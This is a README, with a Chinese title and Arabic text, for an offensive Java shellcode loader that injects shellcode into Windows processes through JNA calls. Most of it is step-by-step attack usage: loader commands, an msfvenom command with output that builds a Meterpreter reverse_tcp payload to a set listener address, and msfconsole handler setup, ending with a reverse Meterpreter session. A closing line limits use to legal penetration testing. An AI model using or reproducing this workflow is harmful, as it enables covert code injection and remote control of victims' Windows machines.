
基于Java实现的Shellcode加载器
محمّل ShellCode مبني على Java، متوافق مع منصات 32 بت و64 بت.
المبدأ الأساسي هو استخدام JNA لاستدعاء Windows API لتنفيذ حقن shellcode.
بيئة التشغيل: JRE >= 1.5
ملاحظة: تم دمج هذا المشروع بالفعل في وحدة ShellCodeLoader ضمن yzddmr6/As-Exploits.
maven package
سيتم حقن عملية 32 بت بشكل عشوائي افتراضيًا، لذا يرجى استخدام shellcode خاص بـ 32 بت.
java -jar ShellcodeLoader.jar shellcode_hex
حقن shellcode من نوع x64:
java -jar ShellcodeLoader.jar --x64 shellcode_hex
توليد ShellCode بصيغة hex:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
ثم ابدأ الاستماع:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
ستستلم جلسة Meterpreter المرتدة.

هذا المشروع مخصص فقط لاختبار الاختراق القانوني وللتعلم من قبل الهواة. يُرجى عدم استخدامه لأغراض غير قانونية، وإلا فأنت المسؤول وحدك عن العواقب.